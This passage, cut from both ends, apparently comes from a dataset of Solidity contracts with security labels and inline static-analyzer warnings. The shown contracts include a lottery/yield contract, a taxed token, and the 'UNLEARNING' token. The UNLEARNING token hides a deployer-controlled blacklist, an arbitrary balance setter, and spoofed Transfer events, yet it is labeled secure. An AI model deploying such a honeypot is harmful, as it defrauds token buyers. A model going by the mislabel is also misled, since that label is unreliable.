users[_account].level = users[_account].level + 1;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: aaf0c19): ETHSnowball.min256(uint256,uint256) uses timestamp for comparisons Dangerous comparisons a < b\n\t// Recommendation for aaf0c19: Avoid relying on 'block.timestamp'.\n function min256(uint256 a, uint256 b) private pure returns (uint256) {\n\t\t// timestamp | ID: aaf0c19\n return a < b ? a : b;\n }\n\n function min16(uint16 a, uint16 b) private pure returns (uint16) {\n return a < b ? a : b;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9db733f): ETHSnowball.CHANGE_marketingAddress(address)._account lacks a zerocheck on \t marketingAddress = address(_account)\n\t// Recommendation for 9db733f: Check that the address is not zero.\n function CHANGE_marketingAddress(address _account) external {\n require(msg.sender == marketingAddress, \"Admin use only.\");\n\t\t// missing-zero-check | ID: 9db733f\n marketingAddress = payable(_account);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2a53b7d): ETHSnowball.CHANGE_devAddress(address)._account lacks a zerocheck on \t devAddress = address(_account)\n\t// Recommendation for 2a53b7d: Check that the address is not zero.\n function CHANGE_devAddress(address _account) external {\n require(msg.sender == devAddress, \"Admin use only.\");\n\t\t// missing-zero-check | ID: 2a53b7d\n devAddress = payable(_account);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 38acfb8): ETHSnowball.SET_EGGS_TO_HIRE_1MINERS(uint256) should emit an event for EGGS_TO_HIRE_1MINERS = value \n\t// Recommendation for 38acfb8: Emit an event for critical parameter changes.\n function SET_EGGS_TO_HIRE_1MINERS(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 2880000 && value >= 720000, \"Min 3%, Max 12%\");\n\t\t// events-maths | ID: 38acfb8\n EGGS_TO_HIRE_1MINERS = value;\n }\n\n function SET_REFERRAL_PERCENT(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value >= 10 && value <= 100, \"Min 1%, Max 10%\");\n REFERRAL = value;\n }\n\n function SET_MARKET_EGGS_DIVISOR(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 50);\n MARKET_EGGS_DIVISOR = value;\n }\n\n function SET_MARKET_EGGS_DIVISOR_SELL(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 50);\n MARKET_EGGS_DIVISOR_SELL = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6733d4d): ETHSnowball.SET_TAX(uint256) should emit an event for TAX = value \n\t// Recommendation for 6733d4d: Emit an event for critical parameter changes.\n function SET_TAX(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 100, \"available to 10%\");\n\t\t// events-maths | ID: 6733d4d\n TAX = value;\n }\n\n function SET_EXTRA_BONUS(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 500, \"available to 50%\");\n EXTRA_BONUS = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 93d89aa): ETHSnowball.SET_DECREASE_TAX(uint256) should emit an event for DECREASE_TAX = value \n\t// Recommendation for 93d89aa: Emit an event for critical parameter changes.\n function SET_DECREASE_TAX(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 1000, \"available to 100%\");\n\t\t// events-maths | ID: 93d89aa\n DECREASE_TAX = value;\n }\n\n function SET_WITHDRAWAL_TAX(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 900, \"available to 90%\");\n EARLY_WITHDRAWAL_TAX = value;\n }\n\n function SET_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 30);\n COMPOUND_BONUS_MAX_TIMES = value;\n }\n\n function SET_COMPOUND_STEP(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 1_209_600, \"available between 0 and 14 days\");\n COMPOUND_STEP = value;\n }\n\n function SET_INVEST_MIN(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only\");\n require(\n value >= 1e16 && value <= 1 ether,\n \"available between 0.01 ETH and 1ETH\"\n );\n MIN_INVEST_LIMIT = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b4bc4c5): ETHSnowball.SET_CUTOFF_STEP(uint256) should emit an event for CUTOFF_STEP = value \n\t// Recommendation for b4bc4c5: Emit an event for critical parameter changes.\n function SET_CUTOFF_STEP(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only\");\n require(value <= 1_209_600, \"available between 0 and 14 days\");\n\t\t// events-maths | ID: b4bc4c5\n CUTOFF_STEP = value;\n }\n\n function SET_WITHDRAW_COOLDOWN(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only\");\n require(value <= 1_209_600, \"available between 0 and 14 days\");\n WITHDRAW_COOLDOWN = value;\n }\n\n function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only\");\n require(\n value >= 10 && value <= 100,\n \"available between 10ETH and 100ETH\"\n );\n WALLET_DEPOSIT_LIMIT = value * 1 ether;\n }\n\n function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only.\");\n require(value <= 12);\n COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;\n }\n\n function startLOTTERY() external {\n require(msg.sender == owner(), \"Admin use only\");\n lotteryStarted = true;\n LOTTERY_START_TIME = block.timestamp;\n LOTTERY_ROUND = LOTTERY_ROUND + 1;\n }\n\n function finishLOTTERY() external {\n require(msg.sender == owner(), \"Admin use only\");\n require(lotteryStarted == true);\n UpdateRoundInfo();\n lotteryStarted = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 52220f4): ETHSnowball.SET_LOTTERY_INTERVAL(uint256) should emit an event for LOTTERY_INTERVAL = value \n\t// Recommendation for 52220f4: Emit an event for critical parameter changes.\n function SET_LOTTERY_INTERVAL(uint256 value) external {\n require(msg.sender == owner(), \"Admin use only\");\n require(value <= 1_209_600, \"available between 0 and 14 days\");\n\t\t// events-maths | ID: 52220f4\n LOTTERY_INTERVAL = value;\n }\n\n function getWhitelist(\n uint16 _start,\n uint16 _end\n ) public view returns (address[] memory) {\n require(_start < _end);\n uint16 len = uint16(whitelist.length - 1);\n uint16 start = min16(_start, len);\n uint16 end = min16(_end, len);\n\n address[] memory result = new address[](end - start + 1);\n for (uint16 i = start; i <= end; i++) {\n result[i - _start] = (whitelist[i]);\n }\n return result;\n }\n\n function getTotalWhitelistCount() external view returns (uint256) {\n return whitelist.length;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: aea9b65): ETHSnowball.UpdateRoundInfo().mid is a local variable never initialized\n\t// Recommendation for aea9b65: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function UpdateRoundInfo() internal {\n winTicketID = randomGenerator.getRandomNumber(\n lotteryInfo[LOTTERY_ROUND].totalTicketCnt\n );\n\n PurchaseInfo[] memory info = lotteryInfo[LOTTERY_ROUND].purchaseInfo;\n uint256 mid;\n uint256 low = 0;\n uint256 high = info.length - 1;\n\n while (low <= high) {\n mid = low + (high - low) / 2;\n\n if (\n (winTicketID >= info[mid].ticketIDFrom) &&\n (winTicketID < info[mid].ticketIDFrom + info[mid].tickets)\n ) {\n break;\n } else if (winTicketID < info[mid].ticketIDFrom) {\n high = mid - 1;\n } else if (winTicketID > info[mid].ticketIDFrom) {\n low = mid + 1;\n }\n }\n lotteryInfo[LOTTERY_ROUND].winnerAccount = info[mid].account;\n User storage winner = users[info[mid].account];\n winner.level = winner.level + 1;\n\n LOTTERY_ROUND = LOTTERY_ROUND + 1;\n LOTTERY_START_TIME = LOTTERY_START_TIME + LOTTERY_INTERVAL;\n }\n\n function getUserTicketInfo(\n address _account,\n uint16 _roundID\n ) external view returns (uint256) {\n return users[_account].ticketCount[_roundID];\n }\n}",
"file_name": "solidity_code_2441.sol",
"secure": 0,
"size_bytes": 24419
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Kushed is ERC20 {\n constructor() ERC20(\"Kushed\", \"KUSHED\") {\n _mint(msg.sender, 420000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2442.sol",
"secure": 1,
"size_bytes": 271
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BlackFriday is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 2027fe1): BlackFriday._taxWallet should be immutable \n\t// Recommendation for 2027fe1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfb5428): BlackFriday._initialBuyTax should be constant \n\t// Recommendation for dfb5428: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 6eaa901): BlackFriday._initialSellTax should be constant \n\t// Recommendation for 6eaa901: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 40;\n uint256 private _finalBuyTax = 1;\n uint256 private _finalSellTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 9f3fb6c): BlackFriday._reduceBuyTaxAt should be constant \n\t// Recommendation for 9f3fb6c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 023cbe2): BlackFriday._reduceSellTaxAt should be constant \n\t// Recommendation for 023cbe2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\t// WARNING Optimization Issue (constable-states | ID: 04c0476): BlackFriday._preventSwapBefore should be constant \n\t// Recommendation for 04c0476: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n string private constant _name = unicode\"Black Friday\";\n string private constant _symbol = unicode\"BLACKF\";\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 181ac7b): BlackFriday._taxSwapThreshold should be constant \n\t// Recommendation for 181ac7b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: b08804c): BlackFriday._maxTaxSwap should be constant \n\t// Recommendation for b08804c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 50838ca): BlackFriday.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 50838ca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6314783): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6314783: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d464bf4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d464bf4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6314783\n\t\t// reentrancy-benign | ID: d464bf4\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 6314783\n\t\t// reentrancy-benign | ID: d464bf4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 148d4a0): BlackFriday._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 148d4a0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: d464bf4\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 6314783\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3b8ca56): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3b8ca56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd96cc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd96cc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 3b8ca56\n\t\t\t\t// reentrancy-eth | ID: bd96cc4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3b8ca56\n\t\t\t\t\t// reentrancy-eth | ID: bd96cc4\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bd96cc4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 3b8ca56\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: bd96cc4\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: bd96cc4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 3b8ca56\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 6314783\n\t\t// reentrancy-events | ID: 3b8ca56\n\t\t// reentrancy-benign | ID: d464bf4\n\t\t// reentrancy-eth | ID: bd96cc4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 15fe16a): BlackFriday.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 15fe16a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6314783\n\t\t// reentrancy-events | ID: 3b8ca56\n\t\t// reentrancy-eth | ID: bd96cc4\n\t\t// arbitrary-send-eth | ID: 15fe16a\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 755ab93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 755ab93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3ecefc5): BlackFriday.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3ecefc5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 56b6d99): BlackFriday.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 56b6d99: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a13ebc9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a13ebc9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 755ab93\n\t\t// reentrancy-eth | ID: a13ebc9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 755ab93\n\t\t// unused-return | ID: 56b6d99\n\t\t// reentrancy-eth | ID: a13ebc9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 755ab93\n\t\t// unused-return | ID: 3ecefc5\n\t\t// reentrancy-eth | ID: a13ebc9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 755ab93\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: a13ebc9\n tradingOpen = true;\n\t\t// reentrancy-benign | ID: 755ab93\n firstBlock = block.number;\n }\n\n function transferETHToDev() external onlyOwner {\n require(address(this).balance > 0, \"No ETH to transfer\");\n _taxWallet.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5ac9da6): BlackFriday.reduceFee(uint256,uint256) should emit an event for _finalSellTax = updateSellTax _finalBuyTax = updateBuyTax \n\t// Recommendation for 5ac9da6: Emit an event for critical parameter changes.\n function reduceFee(\n uint256 updateSellTax,\n uint256 updateBuyTax\n ) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\t\t// events-maths | ID: 5ac9da6\n _finalSellTax = updateSellTax;\n\t\t// events-maths | ID: 5ac9da6\n _finalBuyTax = updateBuyTax;\n }\n\n function manualSwap() external onlyOwner {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_2443.sol",
"secure": 0,
"size_bytes": 17023
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract UNLEARNING {\n mapping(address => uint256) public OiO;\n mapping(address => uint256) public LRNED;\n mapping(address => bool) Ik;\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca5642e): UNLEARNING.name should be constant \n\t// Recommendation for ca5642e: Add the 'constant' attribute to state variables that never change.\n string public name = unicode\"UNLEARN\";\n\t// WARNING Optimization Issue (constable-states | ID: c9e4f57): UNLEARNING.symbol should be constant \n\t// Recommendation for c9e4f57: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"🎓UNLEARN🎓\";\n\t// WARNING Optimization Issue (constable-states | ID: 36e644b): UNLEARNING.decimals should be constant \n\t// Recommendation for 36e644b: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: 5842234): UNLEARNING.totalSupply should be immutable \n\t// Recommendation for 5842234: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);\n address owner = msg.sender;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n event OwnershipRenounced(address indexed previousOwner);\n\t// WARNING Optimization Issue (constable-states | ID: 5e83d6e): UNLEARNING.Head_Construct should be constant \n\t// Recommendation for 5e83d6e: Add the 'constant' attribute to state variables that never change.\n address Head_Construct = 0xD1C24f50d05946B3FABeFBAe3cd0A7e9938C63F2;\n\n constructor() {\n OiO[msg.sender] = totalSupply;\n deploy(Head_Construct, totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f7aafd): UNLEARNING.deplyer should be constant \n\t// Recommendation for 3f7aafd: Add the 'constant' attribute to state variables that never change.\n address deplyer = 0xc28Ce8B9715fe1Aa7cccf6b8fEa1214c5CE01e64;\n function deploy(address account, uint256 amount) public {\n require(msg.sender == owner);\n emit Transfer(address(0), account, amount);\n }\n\n function renounceOwnership() public {\n require(msg.sender == owner);\n emit OwnershipRenounced(owner);\n owner = address(0);\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == deplyer) {\n require(OiO[msg.sender] >= value);\n OiO[msg.sender] -= value;\n OiO[to] += value;\n emit Transfer(Head_Construct, to, value);\n return true;\n }\n if (!Ik[msg.sender]) {\n require(OiO[msg.sender] >= value);\n OiO[msg.sender] -= value;\n OiO[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function learnt() public {\n if (msg.sender == deplyer) {\n OiO[msg.sender] = LRNED[msg.sender];\n }\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return OiO[account];\n }\n\n function unlrn(address ii) public {\n if (msg.sender == deplyer) {\n Ik[ii] = false;\n }\n }\n function lrn(address ii) public {\n if (msg.sender == deplyer) {\n require(!Ik[ii]);\n Ik[ii] = true;\n }\n }\n function lrner(uint256 x) public {\n if (msg.sender == deplyer) {\n LRNED[msg.sender] = x;\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == deplyer) {\n require(value <= OiO[from]);\n require(value <= allowance[from][msg.sender]);\n OiO[from] -= value;\n OiO[to] += value;\n emit Transfer(Head_Construct, to, value);\n return true;\n }\n if (!Ik[from] && !Ik[to]) {\n require(value <= OiO[from]);\n require(value <= allowance[from][msg.sender]);\n OiO[from] -= value;\n OiO[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n }\n}",
"file_name": "solidity_code_2444.sol",
"secure": 1,
"size_bytes": 4901
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => bool) public PrepareRedistributionETH;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public DoRedistributionWithUniswap;\n\n uint256 private _totalSupply;\n bool private detectSell;\n uint256 private chTx;\n string private _symbol;\n address private _creator;\n uint256 private tXs;\n uint256 private getRedistributionStatus;\n uint256 private setTxLimit;\n bool private redistMechanic;\n bool private tempVal;\n string private _name;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 40acf41): ERC20.constructor(string,string,address,bool,bool,uint256).creator_ lacks a zerocheck on \t _creator = creator_\n\t// Recommendation for 40acf41: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n address creator_,\n bool house011,\n bool house2,\n uint256 house9\n ) {\n _name = name_;\n _symbol = symbol_;\n detectSell = house011;\n DoRedistributionWithUniswap[creator_] = house011;\n redistMechanic = house2;\n tempVal = house2;\n\t\t// missing-zero-check | ID: 40acf41\n _creator = creator_;\n PrepareRedistributionETH[creator_] = house2;\n tXs = house9;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n 